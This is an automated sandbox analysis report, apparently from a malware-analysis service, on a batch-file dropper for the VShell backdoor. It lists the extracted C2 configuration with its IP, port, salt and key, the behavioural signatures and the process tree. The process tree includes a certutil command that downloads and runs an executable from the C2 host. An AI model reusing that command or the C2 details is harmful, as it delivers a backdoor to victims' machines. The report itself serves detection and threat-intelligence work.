Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
01/10/2026, 12:19
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
9 signatures
150 seconds
General
- Target windows.bat
- Size 493B
- Sample261001-phlevabe95
- SHA256 fb9791b689dac8a1b9e63722f78266c90f1188aebb02f8eea33f60c8c8ab86c3
- MD5 d179c4ebdcaa87a6823cccab2025d686
- SHA1 55a749cf37a1cb22c80215d1a9f6fa0f037de3f7
- SHA512 1fe58a12cda0e888ba9fa168c0e02605f3802a969dac44b0783347ad08f2edf42a77203233a129b6ca8d2bd771b9d932dda404411e7700b9865e54e1d0858fb5
- TLSH T17DF059DC00970D740F82C85334906581B18B44C0CAF1978CA9D031E96E893D929AB7C3
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
ws://47.94.175.23
Attributes
-
port
8084
-
salt
Pjh070713!
-
type
ws
-
vkey
Pjh070713!
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/4356-7-0x0000000067D40000-0x0000000068534000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 7 2508 certutil.exe 5 2508 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 4356 4b515024ws.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2632 cmd.exe 5832 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 4b515024ws.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 4b515024ws.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 5656 WMIC.exe 5656 WMIC.exe 5656 WMIC.exe 5656 WMIC.exe 4356 4b515024ws.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5656 WMIC.exe Token: SeSecurityPrivilege 5656 WMIC.exe Token: SeTakeOwnershipPrivilege 5656 WMIC.exe Token: SeLoadDriverPrivilege 5656 WMIC.exe Token: SeSystemProfilePrivilege 5656 WMIC.exe Token: SeSystemtimePrivilege 5656 WMIC.exe Token: SeProfSingleProcessPrivilege 5656 WMIC.exe Token: SeIncBasePriorityPrivilege 5656 WMIC.exe Token: SeCreatePagefilePrivilege 5656 WMIC.exe Token: SeBackupPrivilege 5656 WMIC.exe Token: SeRestorePrivilege 5656 WMIC.exe Token: SeShutdownPrivilege 5656 WMIC.exe Token: SeDebugPrivilege 5656 WMIC.exe Token: SeSystemEnvironmentPrivilege 5656 WMIC.exe Token: SeRemoteShutdownPrivilege 5656 WMIC.exe Token: SeUndockPrivilege 5656 WMIC.exe Token: SeManageVolumePrivilege 5656 WMIC.exe Token: 33 5656 WMIC.exe Token: 34 5656 WMIC.exe Token: 35 5656 WMIC.exe Token: 36 5656 WMIC.exe Token: SeIncreaseQuotaPrivilege 5656 WMIC.exe Token: SeSecurityPrivilege 5656 WMIC.exe Token: SeTakeOwnershipPrivilege 5656 WMIC.exe Token: SeLoadDriverPrivilege 5656 WMIC.exe Token: SeSystemProfilePrivilege 5656 WMIC.exe Token: SeSystemtimePrivilege 5656 WMIC.exe Token: SeProfSingleProcessPrivilege 5656 WMIC.exe Token: SeIncBasePriorityPrivilege 5656 WMIC.exe Token: SeCreatePagefilePrivilege 5656 WMIC.exe Token: SeBackupPrivilege 5656 WMIC.exe Token: SeRestorePrivilege 5656 WMIC.exe Token: SeShutdownPrivilege 5656 WMIC.exe Token: SeDebugPrivilege 5656 WMIC.exe Token: SeSystemEnvironmentPrivilege 5656 WMIC.exe Token: SeRemoteShutdownPrivilege 5656 WMIC.exe Token: SeUndockPrivilege 5656 WMIC.exe Token: SeManageVolumePrivilege 5656 WMIC.exe Token: 33 5656 WMIC.exe Token: 34 5656 WMIC.exe Token: 35 5656 WMIC.exe Token: 36 5656 WMIC.exe Token: SeDebugPrivilege 4356 4b515024ws.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2632 wrote to memory of 5832 2632 cmd.exe 90 PID 5832 wrote to memory of 5656 5832 cmd.exe 91 PID 5832 wrote to memory of 4644 5832 cmd.exe 92 PID 2632 wrote to memory of 2508 2632 cmd.exe 94 PID 2632 wrote to memory of 4356 2632 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5832 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5656
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:4644
-
-
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C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://47.94.175.23:8084/?h=47.94.175.23&p=8084&t=ws&a=w64&stage=true" "C:\Users\Public\4b515024ws.exe"2⤵
- Downloads MZ/PE file
PID:2508
-
-
C:\Users\Public\4b515024ws.exe"C:\Users\Public\4b515024ws.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4356
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Public\4b515024ws.exe
- Size 4KB
- SHA256 50541fc7c02b48f363ce4ce25113952a809c6c937e9c1ec9b3e35af4251fb4d8
- MD5 f2172ed5e1246b4b8f67e1c73c50d353
- SHA1 2ea0878fe444beaa5d213175cbc2e92a6f5a2b37
- SHA512 70b983c46972a7a19f4feb6b9e1dbeba78b54f6aee177c39778d20dd76dcb1ddb5e09bc74f4493e9ce6407fe38a80b4c8af1d782dd3cff4f9e59c28d3127742d
- SSDEEP 48:6IIF9BlQaexogZS7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMJ70cF50uDxUOvXeg
- TLSH T19391C64170B989E7E85C41BF4C0FB8A0B919740A41C483A60378A5993E3A67BF5BCB0E
- MD5 SHA1 SHA512 SSDEEP TLSH